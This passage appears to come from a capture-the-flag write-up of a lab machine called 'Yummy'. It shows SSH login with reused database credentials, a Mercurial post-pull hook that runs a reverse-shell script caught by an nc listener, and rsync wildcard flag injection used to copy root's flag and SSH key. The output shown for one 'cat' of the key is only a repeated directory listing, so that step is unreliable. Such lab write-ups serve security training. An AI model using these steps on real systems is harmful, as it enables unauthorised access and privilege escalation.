     'database': 'yummy_db',
     'cursorclass': pymysql.cursors.DictCursor,
     'client_flag': CLIENT.MULTI_STATEMENTS
@@ -254,17 +254,13 @@
                 connection.commit()
                 appointments = cursor.fetchall()
 
-                # Assume order_query comes from a request parameter
                 order_query = request.args.get('order', 'ASC').upper()
 
-                # Validate the order_query to ensure it is either 'ASC' or 'DESC'

Looks like qa’s credentials were originally used for the database connection. It can also be reused for SSH login.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ ssh qa@yummy.htb

Warning: Permanently added 'yummy.htb' (ED25519) to the list of known hosts.
qa@yummy.htb's password: 
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Feb 21 04:51:52 PM UTC 2025

  System load:  0.01              Processes:             264
  Usage of /:   61.2% of 5.56GB   Users logged in:       0
  Memory usage: 21%               IPv4 address for eth0: 10.129.195.30
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


qa@yummy:~$ id

uid=1001(qa) gid=1001(qa) groups=1001(qa)

User Flag:

Yummy
qa@yummy:~$ cat user.txt

f1855900************************


Escalation from qa:

Sudo Rights:

Yummy
qa@yummy:~$ sudo -l

[sudo] password for qa: 
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

qa can run hg pull as dev. The command would pull /home/dev/app-production/ into the current repository. There’s also a Mercurial config file found in its home directory:

Yummy
qa@yummy:~$ ls -la

total 44
drwxr-x--- 6 qa   qa   4096 Sep 30 07:22 .
drwxr-xr-x 4 root root 4096 May 27  2024 ..
lrwxrwxrwx 1 root root    9 May 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 qa   qa    220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 qa   qa   3771 May 27  2024 .bashrc
drwx------ 2 qa   qa   4096 Feb 21 16:51 .cache
drwx------ 3 qa   qa   4096 May 28  2024 .gnupg
-rw-rw-r-- 1 qa   qa    728 May 29  2024 .hgrc
drwxrwxr-x 3 qa   qa   4096 May 27  2024 .local
-rw-r--r-- 1 qa   qa    807 Mar 31  2024 .profile
drwx------ 2 qa   qa   4096 May 28  2024 .ssh
-rw-r----- 1 root qa     33 Feb 21 11:50 user.txt

qa@yummy:~$ cat .hgrc

# example user config (see 'hg help config' for more info)
[ui]
# name and email, e.g.
# username = Jane Doe <jdoe@example.com>
username = qa

# We recommend enabling tweakdefaults to get slight improvements to
# the UI over time. Make sure to set HGPLAIN in the environment when
# writing scripts!
# tweakdefaults = True

# uncomment to disable color in command output
# (see 'hg help color' for details)
# color = never

# uncomment to disable command output pagination
# (see 'hg help pager' for details)
# paginate = never

[extensions]
# uncomment the lines below to enable some popular extensions
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev

Mercurial Hooks:

Mercurial can have hooks configured to run after a pull. According to the docs, these are configured by a hgrc file placed within the .hg/ folder.

I’ll make a copy of the config file found in the home directory and add the following lines. It should run my reverse shell script after making a pull.

[hooks]
post-pull = /tmp/rev.sh

Note that the config file and the .hg folder must be accessible by dev, otherwise it won’t work. I did it the lazy way of creating a folder in /tmp and granting 777 permissions for everything within it.

Yummy
qa@yummy:/tmp/exploit$ ls -la .hg

total 12
drwxrwxrwx 2 qa qa 4096 Feb 21 17:17 .
drwxrwxrwx 3 qa qa 4096 Feb 21 17:17 ..
-rwxrwxrwx 1 qa qa  761 Feb 21 17:12 hgrc

I’ll run the sudo command again, and it hangs.

Yummy
qa@yummy:/tmp/exploit$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)

On my listener, a shell as dev is caught.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 57190
I'm out of office until February 22th, don't call me


dev@yummy:/tmp/exploit$ id

uid=1000(dev) gid=1000(dev) groups=1000(dev)


Escalation from dev:

Sudo rsync:

Yummy
dev@yummy:~$ sudo -l

Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

dev can run a specific rsync command as root with no password. The command contains a wildcard, making it possible to inject dangerous flags within it. There’s also a GTFOBins page for rsync, but its payload didn’t work here.

Looking at rsync’s docs, there’s two more dangerous flags that can be useful here:

  1. -L, which makes rsync copy the actual files instead of symlinks; and
  2. --chmod:777, which grants 777 permissions for all the files copied.

Combining these two flags would grant the ability to read any files in the filesystem. For example, I can create a symlink in app-production pointing to the root flag:

Yummy
dev@yummy:~/app-production$ ln -s /root/root.txt rootflag

After running the rsync command, the root flag is copied to /opt/app and is globally readable:

Yummy
dev@yummy:~$ sudo rsync -a --exclude=.hg /home/dev/app-production/* -L --chmod=777 /opt/app/

dev@yummy:~$ ls -la /opt/app

total 44
drwxr-xr-x 7 root www-data  4096 Feb 21 17:44 .
drwxr-xr-x 3 root root      4096 Sep 30 08:16 ..
-rwxrwxrwx 1 dev  dev      10037 May 28  2024 app.py
drwxrwxrwx 3 dev  dev       4096 May 28  2024 config
drwxrwxrwx 3 dev  dev       4096 May 28  2024 middleware
drwxrwxr-x 2 root root      4096 Sep 25 14:00 __pycache__
-rwxrwxrwx 1 root root        33 Feb 21 11:50 rootflag
drwxrwxrwx 6 dev  dev       4096 May 28  2024 static
drwxrwxrwx 2 dev  dev       4096 May 28  2024 templates

The same can be done for root’s SSH key:

Yummy
dev@yummy:~/app-production$ ln -s /root/.ssh/id_rsa sshkey

Yummy
dev@yummy:~$ sudo rsync -a --exclude=.hg /home/dev/app-production/* -L --chmod=777 /opt/app/

dev@yummy:~$ ls -la /opt/app

total 44
drwxr-xr-x 7 root www-data  4096 Feb 21 17:48 .
drwxr-xr-x 3 root root      4096 Sep 30 08:16 ..
-rwxrwxrwx 1 dev  dev      10037 May 28  2024 app.py
drwxrwxrwx 3 dev  dev       4096 May 28  2024 config
drwxrwxrwx 3 dev  dev       4096 May 28  2024 middleware
drwxrwxr-x 2 root root      4096 Sep 25 14:00 __pycache__
-rwxrwxrwx 1 root root       399 May 28  2024 sshkey
drwxrwxrwx 6 dev  dev       4096 May 28  2024 static
drwxrwxrwx 2 dev  dev       4096 May 28  2024 templates

dev@yummy:~$ cat /opt/app/sshkey

total 44
drwxr-xr-x 7 root www-data  4096 Feb 21 17:48 .
drwxr-xr-x 3 root root      4096 Sep 30 08:16 ..
-rwxrwxrwx 1 dev  dev      10037 May 28  2024 app.py
drwxrwxrwx 3 dev  dev       4096 May 28  2024 config
drwxrwxrwx 3 dev  dev       4096 May 28  2024 middleware
drwxrwxr-x 2 root root      4096 Sep 25 14:00 __pycache__
-rwxrwxrwx 1 root root       399 May 28  2024 sshkey
drwxrwxrwx 6 dev  dev       4096 May 28  2024 static
drwxrwxrwx 2 dev  dev       4096 May 28  2024 templates

I’ll use it to SSH in as root and grab the flag:

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ ssh root@yummy.htb -i root.key

Warning: Permanently added 'yummy.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Feb 21 05:50:07 PM UTC 2025

  System load:  0.78              Processes:             281
  Usage of /:   62.0% of 5.56GB   Users logged in:       2
  Memory usage: 22%               IPv4 address for eth0: 10.129.195.30
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have new mail.
Last login: Fri Feb 21 17:50:08 2025 from 10.10.14.24


root@yummy:~# id

uid=0(root) gid=0(root) groups=0(root)

Root Flag:

Yummy
root@yummy:~# cat root.txt

33ad4f1f************************